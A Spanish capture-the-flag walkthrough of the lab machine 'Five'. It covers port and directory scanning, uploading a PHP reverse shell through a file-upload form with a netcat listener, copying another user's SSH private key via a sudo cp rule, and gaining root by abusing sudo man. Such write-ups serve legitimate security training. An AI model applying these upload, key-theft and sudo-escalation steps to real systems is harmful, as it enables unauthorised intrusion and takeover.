Five

Volvemos a vernos con otra máquina clasificada como medium, en la cual no veremos ninguna técnica nueva en sí, pero nos hará pensar un poco fuera de la caja para poder resolverla.

Reconocimiento de Puertos

Como siempre, empezaremos averiguando la IP de la máquina víctima y realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

sudo ./nmapauto
[sudo] contraseña para kali: 

 [*] La IP de la máquina víctima es 192.168.1.134

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 00:11 CET
Initiating ARP Ping Scan at 00:11
Scanning 192.168.1.134 [1 port]
Completed ARP Ping Scan at 00:11, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 00:11
Scanning 192.168.1.134 [65535 ports]
Discovered open port 80/tcp on 192.168.1.134
Completed SYN Stealth Scan at 00:12, 2.67s elapsed (65535 total ports)
Nmap scan report for 192.168.1.134
Host is up, received arp-response (0.00024s latency).
Scanned at 2023-02-23 00:11:58 CET for 2s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:6C:DE:C3 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.88 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

 [*] Escaneo avanzado de servicios

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 00:12 CET
Nmap scan report for 192.168.1.134
Host is up (0.00021s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: 403 Forbidden
| http-robots.txt: 1 disallowed entry 
|_/admin
MAC Address: 08:00:27:6C:DE:C3 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos

Solamente tenemos puerto 80, y si miramos lo que muestra, sale el error “403 Forbidden”.

Así que toca hacer fuzzing.

Fuzzing

❯ feroxbuster -w=/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt,html -C 403,404 -u http://$ip -r

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.1.134
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢  Status Code Filters   │ [403, 404]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, txt, html]
 🏁  HTTP methods          │ [GET]
 📍  Follow Redirects      │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      176l      445w     3866c http://192.168.1.134/admin/
200      GET        2l        8w        0c http://192.168.1.134/upload.php
200      GET      176l      445w     3866c http://192.168.1.134/admin/index.html
200      GET       15l       29w      346c http://192.168.1.134/upload.html
200      GET        2l        1w       17c http://192.168.1.134/robots.txt
[####################] - 4m   2646552/2646552 0s      found:5       errors:146    
[####################] - 4m    882184/882184  3249/s  http://192.168.1.134/ 
[####################] - 4m    882184/882184  3256/s  http://192.168.1.134/uploads/ 
[####################] - 4m    882184/882184  3259/s  http://192.168.1.134/admin/ 

Encontramos varios recursos:

  • robots.txt: “Disallow:/admin”
  • /uploads: “403 Forbidden”
  • upload.php: “Sorry, there was an error uploading your file.”
  • /admin:
  • upload.html:

Bien, /admin parece ser un formulario que no lleva a ningún sitio, sin embargo el formulario de upload.html sí que parece que nos permite subir ficheros.

Reverse shell

Ponemos el Netcat en escucha: nc -nlvp 1234

Ahora vamos a subir una reverse shell de PHP de https://pentestmonkey.net/tools/web-shells/php-reverse-shell como siempre con nuestra IP configurada.

Al subirla nos indica: “The file rev.php has been uploaded.”. Sin embargo al tratar de ejecutarla en http://192.168.1.134/uploads/rev.php no es posible, y en la raíz tampoco.

Vamos a capturar la petición con BurpSuite y ver si vemos algo.

Vamos a quitar el directorio “uploads/” de la petición de Burp y darle a “forward” para ejecutarla. Ahora supuestamente deberíamos poder activarla desde la raíz.

Bien, ya tenemos shell, por lo que antes de nada realizamos el tratamiento de la TTY para que sea completamente interactiva.

www-data@five:/$ export TERM=xterm-256color
www-data@five:/$ export SHELL=bash
www-data@five:/$ stty rows 44 columns 185
www-data@five:/$ cd /home
www-data@five:/$ ls
melisa
www-data@five:/home$ ls -l melisa
total 4
-rw------- 1 melisa melisa 14 Oct  5  2020 user.txt

No tenemos permiso para leer la primera flag, así que tenemos que buscar la forma de pivotar al usuario melisa. Como hacemos siempre, vamos a mirar la lista de permisos que tenemos para usar privilegios de otro usuario:

www-data@five:/home$ sudo -l
Matching Defaults entries for www-data on five:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on five:
    (melisa) NOPASSWD: /bin/cp

Visto así, de primeras no se me ocurre para qué nos puede servir.

Si seguimos reconociendo el sistema y revisamos las conexiones internas, tanto TCP como UDP:

Vemos un puerto interno no accesible desde fuera, si investigamos qué es:

www-data@five:/home$ nc localhost 4444
SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2

Hemos descubierto acceso SSH, con lo cual, parece que ya encontramos el camino a seguir.

Como tenemos la posibilidad de ejecutar el comando cp como melisa, podemos intentar copiar su clave privada para conectarnos como ella por SSH.

Vamos a realizar las siguientes operaciones y a pasar a explicarlas:

www-data@five:/home$ cd /tmp
www-data@five:/tmp$ touch id_rsa
www-data@five:/tmp$ sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/clave/id_rsa
www-data@five:/tmp$ chmod 600 id_rsa
www-data@five:/tmp$ ssh-keygen -y -f id_rsa > id_rsa.pub
www-data@five:/tmp$ sudo -u melisa cp id_rsa.pub /home/melisa/.ssh/authorized_keys
  1. En primer lugar nos dirigiremos al directorio /tmp para tener permisos de lectura y escritura, y así poder manipular los ficheros
  2. Con touch lo que estamos realizando es generar un fichero (vacío), para que cuando copiemos la clave privada mantega los permisos del fichero creado y no del original, el cual heredaría sus permisos y no tendríamos capacidad de lectura
  3. Copiamos la clave privada del directorio personal de melisa
  4. Ponemos el permiso adecuado a la clave privada, donde solo nosotros podemos leer y escribir (si no al conectarnos nos dará error)
  5. Aquí generamos la clave pública a partir de la privada, pues se entiende que la clave pública la utilizará en otros servicios
  6. Ponemos la clave pública en el directorio personal de melisa para que pueda comprobar que nuestra clave privada coincide

SSH

www-data@five:/tmp$ ssh -i id_rsa melisa@localhost -p 4444
Could not create directory '/var/www/.ssh'.
The authenticity of host '[localhost]:4444 ([127.0.0.1]:4444)' can't be established.
ECDSA key fingerprint is SHA256:jWQpYhXQJtOuJfrNjZvNSilLDT7fkbFxeioQzGTBY7Y.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Linux five 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb 22 20:55:20 2023 from 127.0.0.1
melisa@five:~$ ls
user.txt
melisa@five:~$ cat user.txt 

Pues ya tenemos la flag de user, así que toca ir a por la de root.

Escalada de privilegios

Vamos a revisar nuevamente los permisos que tenemos en este caso ya como melisa:

melisa@five:~$ sudo -l
Matching Defaults entries for melisa on five:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User melisa may run the following commands on five:
    (ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm, /bin/clear

Como siempre echaremos mano de nuestro buen amigo https://gtfobins.github.io/gtfobins/man/#sudo donde podemos ver que el binario man será en este caso el que nos permita convertirnos en root. La escalada si bien no es difícil, se me hizo bastante liosa y tardé un poco en entederla.

El tema es que si hacemos lo que nos indica gtfobins:

sudo man man
!/bin/sh

El editor por defecto no nos permite insertar comandos para lanzar la bash. De esta forma si miramos el manual de man encontramos lo siguiente:

Teniendo esto claro, cambiamos el paginador por defecto a less y ya podemos ejecutar la bash:

melisa@five:~$ sudo man -P less id
root@five:/home/melisa# cd /root
root@five:~# ls
root.txt
root@five:~# cat root.txt

Máquina finalizada. Si bien no hemos aplicado técnicas nuevas, hemos abierto un poco la mente para resolver diferentes conceptos. Darle como siempre las gracias a sml por su trabajo para la comunidad. Nos vemos en la siguiente.